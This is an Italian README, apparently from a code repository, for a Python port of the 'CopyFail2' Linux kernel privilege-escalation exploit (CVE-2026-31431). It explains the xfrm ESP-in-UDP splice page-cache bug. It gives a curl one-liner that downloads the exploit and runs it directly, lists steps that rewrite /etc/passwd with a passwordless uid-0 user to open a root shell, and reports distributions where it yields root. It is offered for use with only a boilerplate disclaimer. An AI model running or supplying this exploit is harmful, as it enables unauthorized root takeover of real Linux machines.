
# Implementazione in Python di un exploit per l'escalation dei privilegi locali nel kernel Linux per CVE-2026-31431, che sfrutta xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW per sovrascrivere /etc/passwd e ottenere i privilegi di root.
Porting in Python dell'exploit del kernel CopyFail2 che sfrutta il percorso rapido no-COW MSG_SPLICE_PAGES di xfrm ESP-in-UDP per l'escalation dei privilegi locale non privilegiata su Linux.
Sostituisce una voce nologin/false in /etc/passwd con un utente uid-0 senza password e apre una shell di root tramite su.
Il bug del kernel risiede nel percorso splice UDP utilizzato dall'incapsulamento xfrm ESP-in-UDP. splice() in un socket UDP con MSG_SPLICE_PAGES causa la mappatura delle pagine nella cache delle pagine del ricevitore senza attivare il copy-on-write. Ciò consente di scrivere in qualsiasi file attualmente mappato nella cache delle pagine, anche se aperto in sola lettura.
MSG_SPLICE_PAGES)libcrypto.so (OpenSSL)CAP_NET_ADMIN o la possibilità di creare user namespaceQuesto repository fornisce due varianti. Entrambe producono lo stesso risultato; scegli in base alle tue esigenze.
# One-liner tramite pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# File salvato
python3 exploit.py
# Annulla le modifiche
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
Su Ubuntu con apparmor_restrict_unprivileged_userns abilitato, salva prima il file ed eseguilo da disco; la modalità pipe salta il bypass di AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd nel valore desiderato.127.0.0.1:4500.splice() su tre intervalli (header ESP, byte target da /etc/passwd, ICV) in una pipe.splice() della pipe nel socket UDP, attivando il bug del kernel e scrivendo il byte nella cache delle pagine.nologin/false con sick::0:0:...:/:/bin/bash.su - sick apre una shell di root (PAM nullok accetta password vuota).cannot acquire CAP_NET_ADMIN
Il tuo kernel potrebbe avere kernel.unprivileged_userns_clone=0. Abilitalo:
sudo sysctl kernel.unprivileged_userns_clone=1
Se sei in esecuzione dentro Docker, avvia il container con --privileged o --cap-add=SYS_ADMIN.
Questo strumento è fornito esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test. Gli autori non si assumono alcuna responsabilità per uso improprio o danni causati da questo software.
| File | Descrizione | Velocità | Quando usarlo |
|---|
exploit.py | Ottimizzato — riutilizza stato xfrm/socket/pipe tra le mutazioni, elabora 2 byte consecutivi per ciclo, polling attivo invece di sleep fisso. | ~3–8 s per una riga di 99 byte | Scelta predefinita. Veloce, stabile, testato su più distribuzioni. |
exploit_raw.py | Riferimento — il più vicino al codice C originale. Ricrea stato xfrm, socket, pipe e file temporaneo per ogni singolo byte, sleep fisso di 200 ms per mutazione. | ~30–40 s per una riga di 99 byte | Usalo se vuoi il percorso di codice più semplice possibile per l'audit, o se la versione ottimizzata si comporta male su una specifica build del kernel. |
| Distribuzione | Kernel | Risultato |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | non vulnerabile |